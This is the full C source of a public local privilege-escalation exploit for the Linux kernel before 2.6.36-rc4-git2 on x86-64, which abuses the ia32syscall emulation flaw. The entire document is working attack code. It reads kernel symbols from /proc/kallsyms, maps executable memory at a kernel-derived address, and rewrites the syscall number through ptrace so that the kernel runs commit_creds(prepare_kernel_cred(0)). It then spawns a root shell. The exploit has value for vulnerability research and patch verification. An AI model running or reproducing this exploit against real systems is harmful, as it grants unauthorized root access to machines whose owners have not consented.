Linux Kernel < 2.6.36-rc4-git2 (x86-64) - 'ia32syscall' Emulation Privilege Escalation
/* * exploit for x86_64 linux kernel ia32syscall emulation (again) * rediscovered by ben hawkes * with help from robert swiecki and tavis ormandy * * original vulnerability discovered by Wojciech Purczynski * * original exploit by * Robert Swiecki <robert_at_swiecki.net> * Przemyslaw Frasunek <venglin_at_freebsd.lublin.pl> * Pawel Pisarczyk <pawel_at_immos.com.pl> * * kernel priv escalation code borrowed from spender * */ #include <sys/types.h> #include <sys/wait.h> #include <sys/ptrace.h> #include <inttypes.h> #include <sys/reg.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <string.h> typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; int kernelmodecode(void *file, void *vma) { commit_creds(prepare_kernel_cred(0)); return -1; } unsigned long get_symbol(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; int ret = 0, oldstyle = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) return 0; oldstyle = 1; } while (ret != EOF) { if (!oldstyle) { ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname); } else { ret = fscanf(f, "%p %s\n", (void **) &addr, sname); if (ret == 2) { char *p; if (strstr(sname, "_O/") || strstr(sname, "_S.")) { continue; } p = strrchr(sname, '_'); if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char *)sname && *(p - 1) == '_') { p--; } *p = '\0'; } } } if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { printf("resolved symbol %s to %p\n", name, (void *) addr); fclose(f); return addr; } } fclose(f); return 0; } static void docall(uint64_t *ptr, uint64_t size) { commit_creds = (_commit_creds) get_symbol("commit_creds"); if (!commit_creds) { printf("symbol table not available, aborting!\n"); exit(1); } prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred"); if (!prepare_kernel_cred) { printf("symbol table not available, aborting!\n"); exit(1); } uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF); printf("mapping at %lx\n", tmp); if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) { printf("mmap fault\n"); exit(1); } for (; (uint64_t) ptr < (tmp + size); ptr++) *ptr = (uint64_t)kernelmodecode; __asm__("\n" "\tmovq $0x101, %rax\n" "\tint $0x80\n"); printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid()); execl("/bin/sh", "bin/sh", NULL); printf("no /bin/sh ??\n"); exit(0); } int main(int argc, char **argv) { int pid, status, set = 0; uint64_t rax; uint64_t kern_s = 0xffffffff80000000; uint64_t kern_e = 0xffffffff84000000; uint64_t off = 0x0000000800000101 * 8; if (argc == 4) { docall((uint64_t*)(kern_s + off), kern_e - kern_s); exit(0); } if ((pid = fork()) == 0) { ptrace(PTRACE_TRACEME, 0, 0, 0); execl(argv[0], argv[0], "2", "3", "4", NULL); perror("exec fault"); exit(1); } if (pid == -1) { printf("fork fault\n"); exit(1); } for (;;) { if (wait(&status) != pid) continue; if (WIFEXITED(status)) { printf("Process finished\n"); break; } if (!WIFSTOPPED(status)) continue; if (WSTOPSIG(status) != SIGTRAP) { printf("Process received signal: %d\n", WSTOPSIG(status)); break; } rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0); if (rax == 0x000000000101) { if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) { printf("PTRACE_POKEUSER fault\n"); exit(1); } set = 1; //rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0); } if ((rax == 11) && set) { ptrace(PTRACE_DETACH, pid, 0, 0); for(;;) sleep(10000); } if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) { printf("PTRACE_SYSCALL fault\n"); exit(1); } } return 0; } |